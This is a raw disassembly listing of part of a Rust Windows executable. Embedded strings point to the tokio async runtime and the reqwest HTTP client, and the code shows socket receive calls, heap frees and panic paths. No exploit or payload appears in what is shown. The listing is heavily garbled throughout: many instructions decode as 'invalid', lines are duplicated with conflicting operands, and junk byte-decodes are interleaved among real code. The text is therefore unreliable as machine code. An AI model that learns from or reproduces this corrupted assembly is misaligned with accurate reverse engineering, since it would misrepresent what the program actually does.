lock cmpxchg qword [rdi + 0x30], rdx
jne 0x14011f6a0
and ecx, 5
cmp ecx, 1
jne 0x14011f6cd
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rdi]
jne 0x14011f6df
mov rcx, qword [rsi + 0x140]
call fcn.1401144f0
mov byte [rsi + 0x299], 0
jmp case.0x1400e4103.290
nop
add rsp, 0x28
pop rdi
pop rsi
ret
mov rsi, qword [rsi + 8]
test rsi, rsi
test byte [rdi], 0x84
mov bh, 1
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x75], cl
jle 0x14011f7d0
mov rdi, qword [rsi + 0x58]
test rdi, rdi
je 0x14011f7aa
mov rbx, qword [rsi + 0x60]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x14011f7aa
invalid
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
invalid
cmp qword [rbx + 0x10], 0x11
jb 0x14011f798
invalid
add al, 0x48
mov edi, dword [rdi - 8]
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
invalid
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsi], 2
je 0x14011f95c
cmp qword [rsi + 0x18], 0
je 0x14011f95c
invalid
sahf
add dword [rax], eax
invalid
mov r8, qword [rsi + 0x10]
mov rcx, qword [0x140215360]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14011f95c
add dword [rax], eax
invalid
add cl, ch
xchg byte [rcx], al
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax + 0xe0be], al
add byte [rdx], cl
cmp byte [rsi + 0xe0], 0xa
jb 0x14011f7ff
cmp qword [rsi + 0xf0], 0
add byte [rax], al
je 0x14011f7ff
mov r8, qword [rsi + 0xe8]
mov rcx, qword [0x140215360]
invalid
pop rbx
invalid
invalid
call 0x18811f7f1
mov ecx, dword [0x140215360]
invalid
pop rbx
invalid
invalid
imul ebx, dword [rbx + 0xf], 0xffd23100
adc eax, 0x48829
mov byte [rax + rax], al
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov byte [rax + rax], al
mov byte [rax + rax], al
add al, 0
cmp qword [rsi + 0xa0], 0
add byte [rax], al
add byte [rax], al
je 0x14011f81f
mov r8, qword [rsi + 0x98]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [0x140215360]
mov ecx, dword [0x140215360]
pop r11
invalid
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add al, 0
mov byte [rax + rax], al
add al, 0
lea rcx, [rsi + 0x28]
call fcn.14006a760
test rdi, rdi
je 0x14011f845
mov rax, qword [rsi + 8]
test rax, rax
invalid
je 0x14011f845
lea rcx, [rsi + 0x20]
mov rdx, qword [rsi + 0x10]
adc byte [rbx + rcx*4 + 0x46], cl
sbb bh, bh
push rax
invalid
mov rdi, qword [rsi + 0xf8]
mov rbx, qword [rsi + 0x108]
add byte [rax], al
test rbx, rbx
je case.0x1400e8b28.237
lea r14, [rdi + 0x18]
mov r15, qword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x14011f879
add byte [rax], al
add byte [rax], al
add r14, 0x58
add esi, 0x58
dec rbx
je case.0x1400e8b28.237
cmp qword [r14], 0
je 0x14011f870
add byte [rcx + rsi*8 + 0x4d], dh
mov eax, dword [rsi - 8]
clc
clc
mov rcx, qword [0x140215360]
xor edx, edx
call r15
jmp 0x14011f870
invalid
cmp qword [rsi + 0x100], 0
je 0x14011f8ad
or byte [rax], al
je 0x14011f8fd
cmp qword [rbx + 0x10], 0x11
jb 0x14011f8eb
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
adc eax, 0x4872b
adc eax, 0x4872b
mov rdi, qword [rsi + 0x130]
test rdi, rdi
je 0x14011f92b
mov rcx, rdi
call fcn.14014bbd0
lea rcx, [rdi + 8]
cmp qword [rdi], 0
je 0x14011f937
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
push rax
sbb byte [rax - 0x75], cl
mov dh, 0x30
add dword [rax], eax
add byte [rax - 0x75], cl
mov ecx, dword [0x140215360]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
xor edx, edx
mov r8, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop r15
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14011f9ba
or edx, 1
mov ecx, eax
shr ecx, 5
and ecx, 1
lock cmpxchg qword [rsi], rdx
je 0x14011f9e8
test al, 4
je 0x14011fc52
invalid
nop
add al, byte [rax]
invalid
test byte [rax - 0x57fffffe], dl
test al, 3
je 0x14011f9a0
add esi, dword [rdx + rbx*8 + 0x48]
cmp eax, 0x3f
jbe 0x14011fc6c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
lea edx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
lea rdx, [rax - 0x40]
lea edx, [rax - 0x40]
cmp rdx, 0x40
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
mov cl, reloc.WS2_32.dll_shutdown
cmpxchg dword [rsi], edx
mov cl, reloc.WS2_32.dll_shutdown
jne 0x14011f9ba
lea rax, [0x14020aca0]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
invalid
cmp dword [rsi + 0x30], 3
jae 0x14011fcba
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
pop rsi
sub byte [rbx + 0xf59d105], cl
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0xe0]
add byte [rax], al
cmp eax, 1
je 0x14011fa79
invalid
add dword [rbp + rsi + 0xf], esi
push rdi
test byte [rbp - 0x74a58a40], 5
xor eax, 0x85f6570f
sal byte [rbp + 0x5a], 0x8b
add eax, 0xf59ab
stosd dword [rdi], eax
pop rcx
verr word [rbp + 0x48]
mov ecx, dword [0x58]
add byte [rax], al
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14011faa5
stosd dword [rdi], eax
pop rcx
verr word [rbp + 0x48]
mov ecx, dword [0x58]
add byte [rax], al
invalid
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
nop
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x23e34
nop
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x23e34
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xb0]
mov al, 0
add byte [rax], al
add byte [rax], al
mov qword [rax + 0xb0], 1
mov qword [rax + 0xb8], rbx
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x38]
mov rcx, rdi
call fcn.1401203c0
mov ebx, eax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
add byte [rcx + 0x42058bc3], cl
pop rcx
verr word [rbp + 0x48]
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
and al, 0
add byte [rax], al
cmp eax, 1
je 0x14011fb04
test eax, eax
jne 0x14011fb1e
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
invalid
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
lea rdi, [rsi + 0x20]
and byte [rbx + rbx*8 + 0xd6840f], al
add byte [rax], al
and byte [rbx + rbx*8 + 0xd6840f], al
add byte [rax], al
mov rax, qword [rsi]
jmp 0x14011fb4e
cmp rcx, 0x3f
jbe 0x14011fc6c
invalid
add rcx, 0xffffffffffffffc0
cmp rcx, 0x40
ror byte [rax - 0x7d], 0xf9
setb dl
setb dl
add dl, dl
lock cmpxchg qword [rsi], rcx
je 0x14011fb7b
test al, 1
je 0x14011fc86
test al, 0x20
jne 0x14011fbcd
mov ecx, eax
and rcx, 0xfffffffffffffffe
test al, 4
je 0x14011fb30
test rcx, rcx
js 0x14011fca0
invalid
add rcx, 0x40
add ecx, 0x40
mov dl, 1
lock cmpxchg qword [rsi], rcx
jne 0x14011fb4e
cmp dl, 2
je case.0x14011f9f6.3
movzx eax, dl
cmp eax, 1
jne case.0x14011f9f6.2
cmp rax, 0x3f
jbe 0x14011fcf3
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14011f9f6.2
mov rcx, rsi
call 0x140120300
jmp case.0x14011f9f6.2
and al, 0x50
mov rcx, rdi
call fcn.14011ffe0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x60], 0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x70
mov qword [rsp + 0x58], 1
jmp 0x14011fc1f
mov qword [rsp + 0x50], 4
lea rdx, [rsp + 0x50]
mov rcx, rdi
call fcn.14011ffe0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x50], 3
lea rdx, [rsp + 0x50]
lea edx, [rsp + 0x50]
lea edx, [rsp + 0x50]
mov rcx, rdi
call fcn.14011ffe0
mov rcx, rsi
call 0x140120170
movaps xmm6, xmmword [rsp + 0x2f0]
add rsp, 0x308
pop rbx
pop rdi
pop rsi
pop r14
ret
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_task_state.rs
lea r8, [0x1401e0850]
mov edx, 0x24
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x1401e0bb0]
mov edx, 0x26
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_curr.is_running__
lea r8, [0x1401e0890]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:_self.0___isize::MAX_as_usize
lea r8, [0x1401e0b70]
mov edx, 0x2f
call fcn.140160fb0
ud2
mov qword [rsp + 0x20], 0
lea rdx, str.internal_error:_entered_unreachable_code:_unexpected_stage
lea rsi, [rsp + 0x50]
lea r9, [rsp + 0x30]
mov r8d, 1
mov rcx, rsi
call fcn.140144a40
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
mov rcx, rsi
call fcn.140160e20
ud2
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
mov rcx, rax
xor edx, edx
test cl, 3
sete dl
or rdx, rax
or rdx, 0x20
lock cmpxchg qword [rsi], rdx
jne 0x14011ff10
test cl, 3
je 0x14011ff5f
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
cmp rax, 0x3f
jbe 0x14011ffc6
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne 0x14011ffbb
mov rcx, rsi
add rsp, 0x2c8
pop rdi
pop rsi
jmp 0x140120300
lea rdi, [rsi + 0x20]
mov qword [rsp + 0x28], 4
lea rdx, [rsp + 0x28]
mov rcx, rdi
mov ecx, edi
mov ecx, edi
call fcn.14011ffe0
mov rax, qword [rsi + 0x28]
sub byte [rax - 0x39], r9b
and al, 0x38
add byte [rax], al
add byte [rax], al
sub byte [rax - 0x39], r9b
and al, 0x38
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x30], 1
mov qword [rsp + 0x28], 3
lea rdx, [rsp + 0x28]
mov rcx, rdi
call fcn.14011ffe0
mov rcx, rsi
add rsp, 0x2c8
pop rdi
pop rsi
jmp 0x140120170
nop
add rsp, 0x2c8
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x1401e0ae8]
mov edx, 0x27
call fcn.140160fb0
ud2
push rsi
sub rsp, 0x300
mov rsi, rcx
mov rax, qword [rcx]
nop
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140120180
test al, 1
je 0x14012022a
test al, 2
jne 0x140120244
test al, 8
jne 0x1401201bb
lea rcx, [rsi + 0x20]
mov qword [rsp + 0x60], 4
lea rdx, [rsp + 0x60]
call fcn.14011ffe0
jmp 0x1401201d9
test al, 0x10
je 0x1401201d9
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x1401202c1
mov rcx, qword [rsi + 0x2e8]
call qword [rax + reloc.WS2_32.dll_recv]
add al, byte [rax]
add bh, bh
push rax
adc byte [rax - 0x75], cl
and byte [rax - 0x77], r9b
mov rdx, rsi
call fcn.14014b690
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.14014b690
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x30], rax
shl rax, 6
loopne 0x140120201
loopne 0x140120201
neg rax
lock xadd qword [rsi], rax
rol dword [rsi], 0x48
shr eax, 6
shr rax, 6
cmp rax, qword [rsp + 0x30]
and al, 0x30
jb 0x14012025e
jne 0x140120220
mov rcx, rsi
add rsp, 0x300
pop rsi
jmp 0x140120300
nop
add rsp, 0x300
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x1401e0910]
mov edx, 0x23
call fcn.140160fb0
ud2
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x1401e08d0]
mov edx, 0x25
call fcn.140160fb0
ud2
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x40], rax
lea rax, [fcn.140058ea0]
mov qword [rsp + 0x48], rax
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x50], rcx
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x20], 2
lea rdx, str.current:___sub:___t
lea rsi, [rsp + 0x60]
lea r9, [rsp + 0x40]
mov r8d, 2
mov rcx, rsi
call fcn.140144a40
lea rdx, [0x1401e0958]
mov rcx, rsi
call fcn.140160e20
ud2
lea rax, str.waker_missing
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rax, [0x140204680]
mov qword [rsp + 0x70], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x78], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_runtime_taskcore.rs_b
lea rcx, [rsp + 0x60]
call fcn.140160e20
ud2
push rsi
push rdi
push rbx
sub rsp, 0x20
mov rsi, rcx
mov rax, qword [rcx + 0x20]
lock dec qword [rax]
jne 0x14012031d
lea rcx, [rsi + 0x20]
call fcn.1400bbcb0
mov rcx, qword [rsi + 0x30]
lea rdx, [rcx - 3]
add rcx, 0xfffffffffffffffe
xor eax, eax
cmp rdx, 2
cmovb rax, rcx
cmp rax, 1
je 0x140120349
test rax, rax
jne 0x140120386
lea rcx, [rsi + 0x30]
call fcn.14011f660
jmp 0x140120386
cmp qword [rsi + 0x38], 0
je 0x140120386
mov rdi, qword [rsi + 0x40]
test rdi, rdi
je 0x140120386
mov rbx, qword [rsi + 0x48]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140120386
cmp qword [rbx + 0x10], 0x11
jb 0x140120374
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsi + 0x2e0]
test rax, rax
je 0x14012039c
mov rcx, qword [rsi + 0x2e8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x20]
mov rdx, rbx
mov r8, rdi
call fcn.14010f260
mov r15, qword [rsp + 0x20]
cmp r15, 4
jne 0x140120599
mov rbx, qword [rdi]
mov eax, dword [0x1402153fc]
verr word [r13 + 0x48]
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14012047e
test eax, eax
jne 0x14012072f
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x3c], cl
ror dword [rcx - 0x73], 0x8f
lea ecx, [rdi + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r15 + 0xe0], 1
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rcx, qword [rcx + rax*8]
movzx eax, byte [rcx + 0xdd]
mov dh, 0x81
fld qword [rax]
add byte [rax], al
cmp byte [rcx + 0xdc], 0
je 0x1401204ab
test al, al
je 0x14012087e
dec al
mov ecx, dword [0x1402153fc]
mov rdx, qword gs:[0x58]
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ebp, word [rcx + 0xdc]
mov byte [rcx + 0xdd], al
mov ebx, ebp
shr ebx, 8
mov r14, qword [r14]
test r14, r14
je 0x14012073f
mov rax, qword [r14 + 0x30]
test al, 4
jne 0x1401206b6
test al, 8
jne 0x140120759
test al, 8
je 0x1401207d2
jmp 0x140120807
add byte [rax - 0x73], cl
xchg byte [rax + 0x48000002], al
mov dword [rsi + 0x280], ebx
mov qword [rsi + 0x288], rax
mov qword [rsi + 0x290], r14
cmp dword [rbx], 2
jne 0x140120407
mov rax, qword [rbx + 8]
mov qword [rbx + 8], 0
or byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
jbe 0x14012056c
add byte [rax], al
or byte [r8], al
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
jbe 0x14012056c
add byte [rax], al
mov qword [rsp + 0x20], 3
mov dword [rsp + 0x20], 3
lea rdx, [rsp + 0x28]
mov qword [rsp + 0x28], rax
lea rcx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
mov r15d, 3
jmp 0x1401205bb
lea rdx, [rsp + 0x28]
and al, 0x28
lea rcx, [rsp + 0xb8]
mov r8d, 0x90
call sub.VCRUNTIME140.dll_memcpy
cmp r15, 5
je case.0x14010c000.68
add al, byte [rax]
invalid
lea rcx, [rsp + 0x148]
lea ecx, [rsp + 0x148]
lea rdx, [rsp + 0xb8]
mov r8d, 0x90
mov eax, 0x90
mov eax, 0x90
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsi + 0x299], 0
add byte [rax - 0x75], cl
mov esi, 0x140
add byte [rax - 0x75], cl
mov esi, 0x140
test rdi, rdi
je 0x1401208ad
invalid
lea rbx, [rdi + 0x38]
cmp dword [rdi + 0x38], 4
je 0x1401205ff
invalid
mov rcx, rbx
call fcn.140114570
invalid
invalid
invalid
mov qword [rdi + 0x38], r15
lea r14, [rdi + 0x40]
lea rdx, [rsp + 0x148]
mov r8d, 0x90
mov rcx, r14
call sub.VCRUNTIME140.dll_memcpy
add byte [rax - 0x75], cl
xor byte [r14 + 0x66], r12b
nop word cs:[rax + rax]
nop word cs:[rax + rax]
add byte [rax - 0x75], cl
xor byte [r14 + 0x66], r12b
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rcx, rax
test cl, 4
jne 0x14012066b
mov rdx, rcx
or rdx, 2
mov rax, rcx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x140120630
test cl, 1
je 0x14012065a
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rsp + 0x20], 4
lock dec qword [rdi]
je 0x14012069d
mov r15, qword [rbx]
mov qword [rbx], 4
cmp r15, 4
add al, 0xf
test byte [rdx + rax], bh
invalid
lea rcx, [rsp + 0x28]
mov r8d, 0x90
mov rdx, r14
add byte [rax], al
add byte [rcx + rcx*4 - 0xe], cl
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x20], r15
lock dec qword [rdi]
jne 0x1401206a5
invalid
or byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.1401144f0
cmp dword [rsp + 0x20], 4
je 0x1401206b6
lea rcx, [rsp + 0x20]
call fcn.140114570
lea rcx, [rsi + 0x148]
call fcn.14011f750
cmp byte [rsi + 0x299], 0
cdq
add al, byte [rax]
add byte [rax], al
je 0x14012071f
mov rdi, qword [rsi + 0x140]
test rdi, rdi
je 0x14012071f
mov rcx, rax
test cl, 4
jne 0x14012070d
mov rdx, rcx
or rdx, 2
mov rax, rcx
mov eax, ecx
mov eax, ecx
lock cmpxchg qword [rdi + 0x30], rdx
jne 0x1401206e0
and ecx, 5
cmp ecx, 1
jne 0x14012070d
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x28]
call qword [rax + reloc.WS2_32.dll_recv]
lock dec qword [rdi]
jne 0x14012071f
mov rcx, qword [rsi + 0x140]
call fcn.1401144f0
invalid
invalid
invalid
cmp eax, 0x86c6ffff
cdq
mov byte [rsi + 0x299], 0
add al, byte [rax]
add byte [rax], al
mov cl, 1
xor eax, eax
jmp case.0x14005f6a2.2412
xor ebp, ebp
xor ebx, ebx
mov r14, qword [r14]
test r14, r14
jne 0x1401204dc
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_synconeshot.rs
mov edx, 0x2b
call fcn.140160fb0
ud2
mov rdx, qword [rdi]
mov rcx, qword [rdx + 8]
cmp rcx, qword [r14 + 0x18]
jne 0x1401207a5
mov rcx, qword [r14 + 0x10]
mov rdx, qword [rdx]
movdqu xmm0, xmmword [rcx]
movq mm0, qword [rcx]
movq mm0, qword [rcx]
movdqu xmm1, xmmword [rdx]
pcmpeqd xmm1, xmm0
pshufd xmm0, xmm1, 0xb1
sal dword [rcx - 0x3e24f09a], 0x66
movmskps r8d, xmm0
invalid
sal dword [rcx - 0x3e24f09a], 0x66
movmskps r8d, xmm0
invalid
rol byte [rcx - 0x7d], 0xf8
add esi, dword [rbp + 0x18]
invalid
cmp r8d, 3
jne 0x1401207a5
invalid
sbb byte [rbx + rcx*4 + 0x41], cl
mov r8, qword [rcx + 0x10]
cmp r8, qword [rdx + 0x10]
jne 0x1401207a5
invalid
adc byte [rbx + rdi + 0x42], cl
adc byte [rbp + 0xe], dh
invalid
invalid
mov rcx, qword [rcx + 0x18]
cmp rcx, qword [rdx + 0x18]
cmp ecx, dword [rdx + 0x18]
sbb byte [rax + 0x3b], cl
sbb byte [rdi], cl
test byte [rbx - 3], cl
invalid
cmp ecx, dword [rdx + 0x18]
je 0x1401204f0
mov rax, qword [r14 + 0x30]
mov eax, dword [rsi + 0x30]
nop dword [rax]
add byte [rax], al
add byte [rax], al
mov rcx, rax
and rcx, 0xfffffffffffffff7
lock cmpxchg qword [r14 + 0x30], rcx
xor byte [rbp - 0xf], dh
test al, 4
jne 0x1401208a2
invalid
mov rax, qword [rdi]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
invalid
invalid
or dil, dil
adc cl, byte [rcx - 0x77]
adc byte [rcx - 0x77], r9b
push rsi
sbb byte [rcx - 0x75], cl
mov rax, qword [r14 + 0x30]
invalid
invalid
invalid
call qword [rdx]
mov qword [r14 + 0x10], rax
mov qword [r14 + 0x18], rdx
mov rax, qword [r14 + 0x30]
nop word [rax + rax]
invalid
add byte [rax], r8b
mov rcx, rax
or rcx, 8
lock cmpxchg qword [r14 + 0x30], rcx
mov cl, 0x4e
xor byte [rbp - 0xf], dh
mov cl, 0x4e
xor byte [rbp - 0xf], r14b
xor byte [rbp - 0xf], dh
test al, 4
jne 0x1401206b6
test bpl, bpl
je case.0x14010c000.68
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
add byte [rax - 0x75], cl
add al, 0xc1
add byte [rax - 0x75], cl
add al, 0xc1
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je 0x14012085c
test eax, eax
jne case.0x14010c000.68
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov byte [rax + 0xdc], 1
mov byte [rax + 0xdd], bl
jmp case.0x14010c000.68
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
call qword [rax + reloc.WS2_32.dll_recv]
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_synconeshot.rs
add eax, 0xb644d
mov edx, 0x2b
call fcn.140160fb0
ud2
invalid
lea rcx, str.Pending_error_polled_more_than_once
or eax, dword [rax]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_src_async_implclient.rs
mov edx, 0x23
call fcn.140161290
add byte [rdi], cl
invalid
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_cc66ad468955717ab92600c770da8c1601a4ff33librarycore_src_strpattern.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_src_synconeshot.rs
mov edx, 0x2b
call fcn.140160fb0
popfq
invalid
add al, 0
ud2
push rbx
sub rsp, 0x308
movaps xmmword [rsp + 0x2f0], xmm6
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp case.0x1400fd850.161
nop dword [rax]
mov rdx, rax
and rdx, 0xfffffffffffffffa
cli
cli
or rdx, 1
mov ecx, eax
rol ecx, 0xe9
add eax, 0xf001e183
cmpxchg qword [rsi], rdx
mov cl, reloc.WS2_32.dll_shutdown
rol ecx, 0xe9
add eax, 0xf001e183
cmpxchg qword [rsi], rdx
mov cl, reloc.WS2_32.dll_shutdown
mov cl, reloc.WS2_32.dll_shutdown
je case.0x14011f9f6.4
test al, 4
je 0x140120beb
test al, 3
je 0x140120940
xchg ebp, eax
add al, byte [rax]
add byte [rax - 0x73], cl
push rax
ror byte [rax - 0x7d], 0xfa
invalid
invalid
cli
cmp rdx, 0x40
mov ecx, 0
cli
mov ecx, 0
adc rcx, 2
lock cmpxchg qword [rsi], rdx
jne case.0x1400fd850.161
lea rax, [0x14020acb0]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
lea rax, [0x1401e0bc8]
add cl, byte [rax + rax]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rsi
je case.0x140107dc6.102
lea rax, [rsp + 0x40]
je case.0x140107dc6.102
lea rax, [rsp + 0x40]
mov qword [rsp + 0x38], rax
cmp dword [rsi + 0x30], 3
add ecx, dword [rdi]
invalid
xchg esi, eax
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x73], cl
jle 0x1401209f1
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x1402153fc]
add eax, 0xf4a31
add eax, 0xf4a31
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rcx, qword gs:[0x58]
mov rcx, qword [0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movzx eax, byte [rax + 0xe0]
cmp eax, 1
clc
invalid
je 0x140120a19
xorps xmm6, xmm6
test eax, eax
jne 0x140120a45
pop rdx
pop rdx
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0x90]
lea rdx, [0x1401438a0]
call fcn.14012dc40
mov byte [r14 + 0xe0], 1
invalid
mov eax, dword [0x1402153fc]
add eax, 0xf49dd
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
add al, 0xc1
movups xmm6, xmmword [rax + 0xb0]
mov qword [rax + 0xb0], 1
mov al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov al, 0
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rax + 0xb8], rbx
lea rdx, [rsp + 0x38]
and al, 0x38
mov rcx, rdi
call fcn.1401203c0
mov ebx, eax
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0xe0]
cmp eax, 1
je case.0x1400693d1.2249
test eax, eax
jne 0x140120abe
mov eax, dword [0x1402153fc]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xb0], xmm6
adc dword [rax + 0xb0], esi
lea rdi, [rsi + 0x20]
test bl, bl
je 0x140120b99
iretd
add byte [rax], al
invalid
iretd
mov rax, qword [rsi]
jmp case.0x14011a815.30
cmp rcx, 0x3f
jbe 0x140120c05
ret 0xd200
test al, 1
je 0x140120c1f
test al, 0x20
jne 0x140120b66
mov rcx, rax
and rcx, 0xfffffffffffffffe
test al, 4
add al, 0x74
retf
add al, 0x74
retf
test rcx, rcx
js 0x140120c39
sub eax, dword [rcx]
add byte [rax], al
pop rax
cdq
add al, byte [rax]
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
